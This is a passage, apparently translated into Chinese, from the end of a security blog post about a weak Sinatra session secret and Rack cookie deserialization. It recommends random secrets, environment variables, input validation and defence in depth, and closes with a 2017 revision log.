或者,不是將會話數據存儲在客戶端並使用會話密鑰來確保其完整性,我們可以使用Rack::Session::Pool將數據存儲在服務器上並將其與一個特定的客戶端關聯起來,使用存儲在 cookie 中的隨機會話標識符。在這種情況下,這種策略消除了對密鑰的需要,但請記住,幾乎每個應用程序都有需要進行適當管理的密鑰。數據庫密碼、API 密鑰、TLS 私鑰以及任何其他加密令牌如果泄漏或生成不安全,都可能造成災難性後果,因此可能值得考慮你的密鑰管理策略。你可以在這篇文章中閱讀更多關於使用隨機會話標識符進行安全會話管理的信息:Web Application Security 基礎知識

針對程式庫和框架作者

理想情況下,這種態度應該不僅僅局限於交付團隊,還應該擴展到框架和庫中。例如,Rails 在近年來已經做了很好的工作,強調了在其生成的配置文件中密鑰管理的重要性

文件 config/secrets.yml…

  
  # [snip]
  
  # Make sure the secret is at least 30 characters and all random,
  # no regular words or you'll be exposed to dictionary attacks.
  # You can use `rails secret` to generate a secure secret key.
  
  # [snip]
  
  # Do not keep production secrets in the repository,
  # instead read values from the environment.
  production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>]]></pre>

不幸的是,當我發現這個漏洞時,Sinatra 的文檔並不那麼清晰

首先,沒有指示如何生成一個值來替代 'super secret'。它應該有多長?兩個字典詞彙“隨機”就足夠了嗎?示例中只有兩個詞,所以這是有道理的。一旦我們有了一個密鑰,它應該被檢入源代碼嗎?這個配置文件的其餘部分都是這樣,所以這一定是要做的事情。

你可能還記得這篇文章開頭的時候,文檔中的這個示例正是我們在應用程序中發現的。雖然像這樣複製和粘貼代碼並在沒有疑問的情況下使用它絕對是一種不好的實踐,但很容易想象到這種情況是如何溜走的。也許開發人員快速添加了這一行以通過測試,意味著稍後回來更改它,但由於一切都是“綠色”的,所以忘記了。也許他們在發現需要立即處理的高優先級生產問題時,去研究如何生成正確的密鑰。

如果 Sinatra 的示例展示了使用環境變量作為密鑰並清楚地描述了安全的密鑰生成方法,我可能就不會寫這篇文章了。

最後,Sinatra 和 Rack 中可能會採取的一些程式碼設計選擇可以防止此情況發生。Sinatra 可以對 :session_secret 添加驗證,檢查它是否為,比如說,64 個位元組的十六進位編碼數據。這樣做將使得錯誤地設置過弱的值變得更加困難。在 Rack 的方面,儘管能夠序列化和反序列化原生 Ruby 對象很方便,但這是一種已經被證明不安全的策略。它違反了安全開發原則“數據和代碼的分離”,讓攻擊者有機會通過操縱輸入數據來改變代碼路徑的預期方式。儘管 cookie 數據應該是可信的,但“深度防禦”的原則鼓勵我們考慮已經成功繞過一些我們的緩解措施的攻擊者。

結論

最後,好消息是這個問題本來是可以在很多地方防止的。

應用程式開發人員可以牢記基本的安全意識,並幫助創造一個嚴肅對待安全問題的文化。要記住的一個關鍵原則是保守秘密。使用加密安全的隨機數生成器生成秘密並制定秘密管理策略將有助於我們實現這一目標。

庫和框架的作者可以包含示例和初始設置,這些設置是默認安全的,並遵循安全開發指南,如數據和代碼的分離和深度防禦。

事實上,Sinatra 現在建議從環境變量中包含會話密鑰,並清晰地說明如何安全生成密鑰。感謝 @zzak 和 @grempe!

希望隨著我們行業對軟件漏洞影響的意識不斷提高,我們將繼續看到更多像這樣的主動控制措施被實踐。


重要修訂

2017年4月3日:發表文章的其餘部分

2017年3月30日:發表第一部分